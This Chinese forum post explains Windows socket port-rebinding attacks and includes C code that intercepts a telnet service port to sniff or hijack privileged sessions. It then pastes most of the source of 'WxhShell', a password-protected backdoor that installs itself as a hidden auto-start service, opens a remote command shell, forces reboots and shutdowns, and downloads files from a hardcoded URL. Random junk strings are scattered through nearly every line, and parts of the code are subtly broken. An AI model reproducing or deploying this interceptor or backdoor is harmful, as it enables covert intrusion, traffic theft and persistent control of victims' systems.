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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: l(@c  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?zbWz=nq  
GJs~aRiz  
  saddr.sin_family = AF_INET; (vvD<S*  
h ^s8LE3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); GS}JyU  
9jM7z/Ff  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); DVJn;X^T:  
{];-b0MS~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1uB$@a\  
k,f/9e+#  
  这意味着什么?意味着可以进行如下的攻击: nr,Z0  
|{_>H '  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $J&c1  
y*v|q=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >7S@3,C3ke  
5K)_w:U X  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /H3w7QU  
mZjpPlJ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Ndgx@LTQQ  
9.il1mAKg  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  _+(@?  
(oG.A  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 j-DWz>x  
pVrY';[,|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Uqy/~n-v<  
e0otr_)3F  
  #include bMNr +N  
  #include )feZ&G]  
  #include n=AcN  
  #include    2i1xSKRYrD  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &ODo7@v`1  
  int main() bSz7?NAp  
  { `u PLyS.  
  WORD wVersionRequested; 6]kBG?m0  
  DWORD ret; Kr `/sWZ  
  WSADATA wsaData; ecR)8^1 '  
  BOOL val; ]^>:)q  
  SOCKADDR_IN saddr; =  
  SOCKADDR_IN scaddr; RVLVY:h|F  
  int err; n${k^e-=  
  SOCKET s; BMuEfa^  
  SOCKET sc; Jmi,;Af'/  
  int caddsize; sowwXrECg@  
  HANDLE mt; qMA-#  
  DWORD tid;   22U`1AD3U  
  wVersionRequested = MAKEWORD( 2, 2 ); S6 a\KtVa  
  err = WSAStartup( wVersionRequested, &wsaData ); (Cfb8\~  
  if ( err != 0 ) { v\@RwtP  
  printf("error!WSAStartup failed!\n"); PLMC<4$s  
  return -1; ela^L_NhF  
  } mtn^+*  
  saddr.sin_family = AF_INET; U V*Ruy-  
   J%M [8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6)P.wW  
T?1V%!a;f  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); k+ w Ji  
  saddr.sin_port = htons(23); ~1[n@{*:(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w>=N~0@t  
  { w`V6vYd@  
  printf("error!socket failed!\n"); .R'M'a#*!A  
  return -1; Y0A(- "  
  } ;FRUB@:  
  val = TRUE; uLWu. Vx  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .kn2M&P>=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y$SUYG'v  
  { |5O>7~Tp  
  printf("error!setsockopt failed!\n"); o ]z#~^w  
  return -1; }u=Oi@~  
  } nPqpat`E  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .9PT)^2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *kg->J  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |iUC\F=-  
a.}#nSYP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {\P%J:s#9  
  { 0doJF@H  
  ret=GetLastError(); IDFzyg_  
  printf("error!bind failed!\n"); QuPz'Ut#  
  return -1; /lu|FWbEw  
  } >7%T%2N  
  listen(s,2); yNP4Ey  
  while(1) V-n{=8s  
  { vZ"gCf3#?3  
  caddsize = sizeof(scaddr); m m`#v g,  
  //接受连接请求 dIlpo0; F  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); | |awNSt  
  if(sc!=INVALID_SOCKET) /#H P;>!n  
  { :Ev gUA\4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); hpb|| V  
  if(mt==NULL) J ~3m7  
  { t^FE]$,  
  printf("Thread Creat Failed!\n"); VN!nef  
  break; FpA t  
  } c {%mi  
  } -OlrA{=c_  
  CloseHandle(mt); 80[# 6`  
  } vk4 8&8  
  closesocket(s); kwc Cf2  
  WSACleanup(); 3mo4;F,h9  
  return 0; RO,TNS~  
  }   7Y(Dg`8G  
  DWORD WINAPI ClientThread(LPVOID lpParam) a*U[;(  
  { jTIG#J)  
  SOCKET ss = (SOCKET)lpParam; Y$A2{RjRq  
  SOCKET sc; ng!cK<p  
  unsigned char buf[4096]; Kq-1  b  
  SOCKADDR_IN saddr; n9}BT^4 v  
  long num; iBSg`"S^]C  
  DWORD val; ] h(Iun  
  DWORD ret; 2a eH^:u  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /}8Au$nA  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $S|+U}]C  
  saddr.sin_family = AF_INET; &um++ \  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~io.TS|r  
  saddr.sin_port = htons(23); [Tp?u8$p`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Zja3HGL  
  { Af]zv~uM  
  printf("error!socket failed!\n"); }3X/"2SW^  
  return -1; n-cI~Ax+4  
  } T :X*  
  val = 100; O& Sk}^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) aq}hlA(w  
  { d 4;$=P  
  ret = GetLastError(); QhJN/v  
  return -1; A+* lV*@0  
  } L,y q=%h|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8xgBNQdPT  
  { jc Mn   
  ret = GetLastError(); }%/mPbd#  
  return -1; XNJZ~Mowb  
  } B?=R= p  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6dr 'nP  
  { <m`CLVx8m  
  printf("error!socket connect failed!\n"); /-[vC$B"  
  closesocket(sc); iIX%%r+  
  closesocket(ss); u0&R*YV  
  return -1; 9d#?,:JG  
  } Xpg -rxX  
  while(1) .eD&UQ  
  { )LFbz#;Y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 I!*P' {lh  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lt6wmCe  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "gM!/<~  
  num = recv(ss,buf,4096,0); Za|iU`e\  
  if(num>0) #&Tm%CvB  
  send(sc,buf,num,0); |nx3x  
  else if(num==0) ="& GU%$  
  break; 5.{=Op!  
  num = recv(sc,buf,4096,0); Sc>mw   
  if(num>0) 'sUOi7U  
  send(ss,buf,num,0); IeYNTk &<  
  else if(num==0) e&VC }%m  
  break; l%"DeRp,/  
  } 6LCtWX  
  closesocket(ss); p7Wt(A  
  closesocket(sc); M> WWP3  
  return 0 ; ) Y)_T&O  
  } Eb4NPWo  
";rXCH.  
|> STb\  
========================================================== 94#,dA,M  
qP#LJPaS  
下边附上一个代码,,WXhSHELL ~Yk^(hl2  
!\R5/-_UU  
========================================================== F,~BhKkbV  
Az:~|P  
#include "stdafx.h" %lnkD5  
zU&Iy_Ke.  
#include <stdio.h> qSr]d`7@  
#include <string.h> 'fU#v`i  
#include <windows.h> p-.kBF  
#include <winsock2.h> O^8ZnN_+  
#include <winsvc.h> U? Jk  
#include <urlmon.h> Gkuqe3  
U,i_}O3Q  
#pragma comment (lib, "Ws2_32.lib") lu"0\}7X  
#pragma comment (lib, "urlmon.lib") d9v66mpJM  
<?7qI85OT  
#define MAX_USER   100 // 最大客户端连接数 LP#wE~K"b  
#define BUF_SOCK   200 // sock buffer Eu(Qe ST\  
#define KEY_BUFF   255 // 输入 buffer U| Fqna  
v3Vve:}+  
#define REBOOT     0   // 重启 i&>^"_4rc  
#define SHUTDOWN   1   // 关机 }jCO@v;  
({t^/b*8  
#define DEF_PORT   5000 // 监听端口 +=E\sEe  
vK)'3%  
#define REG_LEN     16   // 注册表键长度 Zo&i0%S\E  
#define SVC_LEN     80   // NT服务名长度 yk?bz  
R %RbC!P  
// 从dll定义API ZcXAqep8'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T4.wz 58  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;99oJD,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H^n@9U;[K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  wkZwtq  
c%pf,sm'  
// wxhshell配置信息 $~FZJ@qa  
struct WSCFG { rt*x[5<  
  int ws_port;         // 监听端口 8 8_ef7w  
  char ws_passstr[REG_LEN]; // 口令 b:F;6X0~Hl  
  int ws_autoins;       // 安装标记, 1=yes 0=no PEvY3F}_rh  
  char ws_regname[REG_LEN]; // 注册表键名 +S4>}2N33  
  char ws_svcname[REG_LEN]; // 服务名 tI{]&dev  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Uyb0iQ-,s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rq3f/_#L!O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O^~IY/[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1 7 KQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7o+L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3XQa%|N(  
4u}Cki,vOK  
}; =_-u;w1D  
akyMW7'3V<  
// default Wxhshell configuration bp9RF d{  
struct WSCFG wscfg={DEF_PORT, f9u=h}  
    "xuhuanlingzhe", *zPqXtw!j  
    1, $}W T"K  
    "Wxhshell", T)I)r239h  
    "Wxhshell", >ZOlSLu  
            "WxhShell Service", gaz7u8$A=  
    "Wrsky Windows CmdShell Service", }2;P`s  
    "Please Input Your Password: ", \"ahs7ABT  
  1, N0w?c 5>  
  "http://www.wrsky.com/wxhshell.exe", G7&TMg7i  
  "Wxhshell.exe" DK?aFSf\  
    }; (o|bst][S  
BZW03e8|  
// 消息定义模块 phu,&DS!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8HKv_vl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !rRBy3&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z9S (<  
char *msg_ws_ext="\n\rExit."; k)I4m.0a5  
char *msg_ws_end="\n\rQuit."; 7/~=[#]*  
char *msg_ws_boot="\n\rReboot..."; iG54 +]  
char *msg_ws_poff="\n\rShutdown..."; KUU {X~w  
char *msg_ws_down="\n\rSave to "; =OO4C  
}lp37,  
char *msg_ws_err="\n\rErr!"; ^~V2xCu!  
char *msg_ws_ok="\n\rOK!"; Ds(Z.  
/.e7#-+?  
char ExeFile[MAX_PATH]; [+D]!&P  
int nUser = 0; "YI,  
HANDLE handles[MAX_USER]; >rQj1D)@  
int OsIsNt; D{JjSky  
l-%] f]>  
SERVICE_STATUS       serviceStatus; r gIWM"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9 ~W]D!m,  
+45SKu=  
// 函数声明 c~(61Sn]  
int Install(void); 3&})gU&a  
int Uninstall(void); oH=?1~ e  
int DownloadFile(char *sURL, SOCKET wsh); , ]1f)>  
int Boot(int flag); .*` ^dt  
void HideProc(void); I4@XOwl{P  
int GetOsVer(void); j r) M],  
int Wxhshell(SOCKET wsl); ,1~zYL?  
void TalkWithClient(void *cs); d?X,od6  
int CmdShell(SOCKET sock); fr(Ja;  
int StartFromService(void); X?t;uZI^  
int StartWxhshell(LPSTR lpCmdLine); $(D>v!dp  
5.VPK 338A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); eaf-_#qb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]#G s6CsT|  
eAW)|=2  
// 数据结构和表定义 :^kAFLU  
SERVICE_TABLE_ENTRY DispatchTable[] = a,oTU\m C  
{ PoaCnoNS  
{wscfg.ws_svcname, NTServiceMain}, kZG=C6a  
{NULL, NULL} KE,.Evyu=  
}; D@&xj_#\}  
7~P2q/2E>  
// 自我安装 (NFrZ0  
int Install(void) Chnt)N`/B4  
{ @LOfqQ$FE  
  char svExeFile[MAX_PATH]; /lECgu*#69  
  HKEY key; &fB=&jc*j  
  strcpy(svExeFile,ExeFile); GPLop/6   
} iKjef#J  
// 如果是win9x系统,修改注册表设为自启动 ~B{08%|oK  
if(!OsIsNt) { 7<WUj K|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A2gFY}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j?u1\<m  
  RegCloseKey(key); _3%$E.Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;7s^slVzF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _{'[Uf/l  
  RegCloseKey(key); d;dT4vx$[M  
  return 0; S'HA]  
    } j.]]VA  
  } P0m9($JBD  
} %WU=Vy4  
else { zlEI_th:~  
-sA&1n"W&5  
// 如果是NT以上系统,安装为系统服务 O=bkq}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2gO@   
if (schSCManager!=0) _0$>LWO~  
{ !$l<'K$  
  SC_HANDLE schService = CreateService ~v(c9I)  
  ( 5!A:xV]6]  
  schSCManager, k9*UBx  
  wscfg.ws_svcname, /#vt \I<x  
  wscfg.ws_svcdisp, nmiJ2edx  
  SERVICE_ALL_ACCESS, ;MGm,F,o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H_f8/H  
  SERVICE_AUTO_START, ?S& yF  
  SERVICE_ERROR_NORMAL, z&H.fsL  
  svExeFile, % WDTnEm  
  NULL, .iR<5.  
  NULL, j>8ubA  
  NULL, 2 )o2d^^  
  NULL, Ut2T:%m{  
  NULL qZ!kVrmg&  
  ); @>(JC]HtR  
  if (schService!=0) kAp#6->(q  
  { xKE=$SV(  
  CloseServiceHandle(schService); fSd|6iFH  
  CloseServiceHandle(schSCManager); i45.2,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jo&j<3i  
  strcat(svExeFile,wscfg.ws_svcname); 6rbR0dSgx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "Q+wO+}6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fLs>|Rh  
  RegCloseKey(key); 6 9$R.  
  return 0; sT1k]duT  
    } >[wxZ5))  
  } +)yoQRekX  
  CloseServiceHandle(schSCManager); 4~1b  
} <m\Y$Wv  
} Z{vc6oj  
(L4llZ;q  
return 1; Ju#j%!  
} 1.@{5f3T  
'V%w{ZiiV  
// 自我卸载 x7 e0&  
int Uninstall(void) ^|oI^"I Q=  
{ ~roNe|P  
  HKEY key; .s4vJKK0  
-cUbIbW  
if(!OsIsNt) {  kVZs:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MzB.Vvsy%9  
  RegDeleteValue(key,wscfg.ws_regname); > A@yF?  
  RegCloseKey(key); vbJdhaf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #QsJr_=  
  RegDeleteValue(key,wscfg.ws_regname); h{"SV*Xpk/  
  RegCloseKey(key); 82 |^o  
  return 0; "Ia.$,k9  
  } J#H,QYnf(L  
} yz0#0YG7  
} g]h@U&`~u_  
else { pvl];w  
eXsp0!v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~rI2 RJ  
if (schSCManager!=0) 6wpu[  
{ mEYfsO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P%&|?e~D^  
  if (schService!=0) 9[\do@  
  { :I"2 2EH  
  if(DeleteService(schService)!=0) { TT9 \m=7  
  CloseServiceHandle(schService); k;<@ 2C  
  CloseServiceHandle(schSCManager); ,V j&  
  return 0; VFawASwQ  
  } FT>>X P8  
  CloseServiceHandle(schService); 3d;J"e+?  
  } wKdWE`|y  
  CloseServiceHandle(schSCManager); 6K7lQ!#}Q  
} h3E}Sa(MQ:  
} ;=@O.iF;H  
Jm)7!W%3  
return 1; vK/`or3U  
} 5h Sd,#:  
|1H9,:*%  
// 从指定url下载文件 n|WSnm,W  
int DownloadFile(char *sURL, SOCKET wsh) o3Yb2Nw  
{ eu)""l  
  HRESULT hr; ;Q&9 t  
char seps[]= "/"; :''Swi<H  
char *token; #k/T\PQ0s  
char *file; }LS.bQKqi,  
char myURL[MAX_PATH]; ?`Mk$Y%my  
char myFILE[MAX_PATH]; |Wck-+}U  
,_V/W'  
strcpy(myURL,sURL); z@ZI$.w  
  token=strtok(myURL,seps); J"h2"$v,  
  while(token!=NULL) 7g Ou|t  
  { 1Hhr6T^)  
    file=token; 6yUThv.G#  
  token=strtok(NULL,seps); %j@/Tx/  
  } *qL'WrB1  
M`Wk@t6>  
GetCurrentDirectory(MAX_PATH,myFILE); q},,[t  
strcat(myFILE, "\\"); sRBfLN2C  
strcat(myFILE, file); :{S@KsPqE  
  send(wsh,myFILE,strlen(myFILE),0); ^^ SMr l  
send(wsh,"...",3,0); !S7?:MJ?p\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *C|*{!  
  if(hr==S_OK) 90F.9rh  
return 0; " +{2!  
else ?HOnDw.v1  
return 1; U7/ =| Z  
SR.xI:}4  
} G3!O@j!7w$  
K5bR7f:  
// 系统电源模块 [giw(4m#y  
int Boot(int flag) "WmsBdO  
{ '-~J.8-</  
  HANDLE hToken; t{s>B]i^_w  
  TOKEN_PRIVILEGES tkp; ] !1HN3  
UWqiA`,  
  if(OsIsNt) { 7)O+s/.P)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p]~PyzG!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Hsov0  
    tkp.PrivilegeCount = 1; (6H 7?nv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =],c$)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BuAzO>=  
if(flag==REBOOT) { !jEV75  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "p+oi@  
  return 0; iM9k!u FE  
} xrY >Or  
else { c>c4IQ&d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) txMC^-J2l  
  return 0; E.N>,N  
} s)3CosU  
  } o ,_F;ZhE  
  else { WFFd3TN%<  
if(flag==REBOOT) { :.BjJ2[S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ; %AgKgV  
  return 0; Rq",;,0ZJ  
} MVQ6I/EA4  
else { =D?HL?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qKeR}&b  
  return 0; D > U(&n  
} mo4F\$2N  
} Y> E` 7n  
zcOm"-E-  
return 1; ^I6Vz?0Jl  
} c9nv=?/}f  
)FA:wsy~E  
// win9x进程隐藏模块 FW3E UC)P  
void HideProc(void) Xfb-< Q0A  
{ i 8cmT+}>  
'tQp&p j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e<A>??h^  
  if ( hKernel != NULL ) i-WP#\s  
  { vz:VegS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |yj0Rv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wwR}h I(  
    FreeLibrary(hKernel); |,TBP@  
  } ?hp,h3s;n$  
m>w{vqPwJ  
return; Gf~^Xv!T  
} o?= &kx  
Jfv'M<I  
// 获取操作系统版本 qM Qu!%o  
int GetOsVer(void) zrE{CdG%y  
{ h<CRW-  
  OSVERSIONINFO winfo; ns/*WH&[x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V=>]&95-f  
  GetVersionEx(&winfo); ?%Q=l;W.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K-c>J uv&,  
  return 1; l8%BRG  
  else  0,#n_"  
  return 0; a>Aq/=  
} BP&] t1p  
\7o7~pll  
// 客户端句柄模块 >G[:Q s  
int Wxhshell(SOCKET wsl) %\'G2  
{ X$%W&:  
  SOCKET wsh; [oXr6M:  
  struct sockaddr_in client; @L607[!?  
  DWORD myID; Sq2 8=1%  
j39"iAn  
  while(nUser<MAX_USER) u?z,Vs"  
{ =yJV8%pa  
  int nSize=sizeof(client); va#].4_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Nd;pkssd  
  if(wsh==INVALID_SOCKET) return 1; ]_L;AD  
Q!AGalP z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;kG"m7-/  
if(handles[nUser]==0) )C0I y.N-  
  closesocket(wsh); uXA}" f2  
else S]e;p\8$Z  
  nUser++; 04Uyr;y  
  } 7#N= GN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 64'sJc.   
7^#O{QYol  
  return 0; (\ |Go-2G  
} rof9Rxxe-  
 ME5M;bz(  
// 关闭 socket PyQ\O*  
void CloseIt(SOCKET wsh) G ,`]2'(@  
{ &g8Xjx&zj  
closesocket(wsh); 02:`Joy2D  
nUser--; |@'K]$vZ*  
ExitThread(0); \m<$qp,n  
} ?jbx7')  
`lbRy($L  
// 客户端请求句柄 %w!x \UV  
void TalkWithClient(void *cs) G8Ow;:Ro  
{ ':=20V  
m.5@q mQ  
  SOCKET wsh=(SOCKET)cs; eG dFupfz  
  char pwd[SVC_LEN]; ).tTDZ   
  char cmd[KEY_BUFF]; h>z5m   
char chr[1]; tC/+  
int i,j; ) 2jH&}K  
wr>6Go%  
  while (nUser < MAX_USER) { 'OU3-K  
:$XlYJrjK  
if(wscfg.ws_passstr) { -<u_fv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gEgd/Le  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5RF*c,cNq  
  //ZeroMemory(pwd,KEY_BUFF); BISH34  
      i=0; =""5 c  
  while(i<SVC_LEN) { je>mAQKi\  
G}]'}FUp  
  // 设置超时 [xdVuL;N  
  fd_set FdRead; J0t_wM Ja  
  struct timeval TimeOut; M@pF[J/  
  FD_ZERO(&FdRead); z4]z3U<}3]  
  FD_SET(wsh,&FdRead); AZ\f6r{  
  TimeOut.tv_sec=8; J'wJe,  
  TimeOut.tv_usec=0; >@Na6BH5v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |b!Bb<5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >v1.Gm  
M pz9}[`3g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZpwFC7LW  
  pwd=chr[0]; !<h-2YF<M  
  if(chr[0]==0xd || chr[0]==0xa) { ;hd%w mE  
  pwd=0; +.u HY`A  
  break;  \5HVX/  
  } (;N#Gqb6l  
  i++; =ATQ2\T$m  
    } =6qSo @  
K@"B^f0mU  
  // 如果是非法用户,关闭 socket >G vd?r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kWC xc0  
} vhU#<59a1  
BGstf4v>A<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0^d<@\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |g<l|lqz|  
R0q|{5S  
while(1) { DKNcp8<J  
#)%X0%9.*<  
  ZeroMemory(cmd,KEY_BUFF); &5%~Qw..  
+N|t:8qaf  
      // 自动支持客户端 telnet标准   ndvt $*  
  j=0; AFsYP/g]  
  while(j<KEY_BUFF) { MJn=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NMN&mJsmh  
  cmd[j]=chr[0]; 2Fbg"de3-  
  if(chr[0]==0xa || chr[0]==0xd) { ~KxK+ 6[ :  
  cmd[j]=0; 9G[t &r  
  break; ;_/!F}d  
  } WjvgDNk  
  j++; 6x16?x  
    } P qa;fiJ)  
Rf{YASPIw&  
  // 下载文件 q9Lq+4\  
  if(strstr(cmd,"http://")) { V#~.n ;d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Saks~m7,  
  if(DownloadFile(cmd,wsh)) C&.Q|S2_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Q 6r  
  else WvcPOt8Bp>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :;&3"-  
  } 7lzmAih  
  else { ,Mn`kL<F  
Ai`0Ud,M@  
    switch(cmd[0]) { * YLp C^&  
  a0`(* #P  
  // 帮助 "~08<+  
  case '?': { c$;Cpt@-j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S e!B,'C%  
    break; 0.^67'  
  } CI|#,^  
  // 安装 @3?dI@i(  
  case 'i': { =vb'T  
    if(Install()) y*-D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )jw!, "_4  
    else ?oU5H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NV\{$*j(|J  
    break; FMl_I26]  
    } {YIVi:4q  
  // 卸载 j Oxnf%jl  
  case 'r': { sQO>1bh  
    if(Uninstall()) yk2XfY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K6nNrd}p:  
    else \IOF 9) F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ql_,U8Jw  
    break; ii ^Nxnc=  
    } $KsB'BZy  
  // 显示 wxhshell 所在路径 8y]{I^z}  
  case 'p': { .h@bp1)l  
    char svExeFile[MAX_PATH]; U;Yw\&R,  
    strcpy(svExeFile,"\n\r"); Tqx  
      strcat(svExeFile,ExeFile); <,&t}7M/:  
        send(wsh,svExeFile,strlen(svExeFile),0); 2bOFH6g  
    break; J>+~//C  
    } KN.WTaO  
  // 重启 v;Rm42k  
  case 'b': { A/~^4DR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oK2jPP  
    if(Boot(REBOOT)) 7fW$jiw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9lqD~H.  
    else { ]q|U0(q9  
    closesocket(wsh); Htce<H-P  
    ExitThread(0); lh;;%@1DM  
    } n7bML?f'  
    break; t#nRa Pzp  
    } Ol X otp8  
  // 关机 wkD"EuW(  
  case 'd': { I:] Pd  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hhJs$c(  
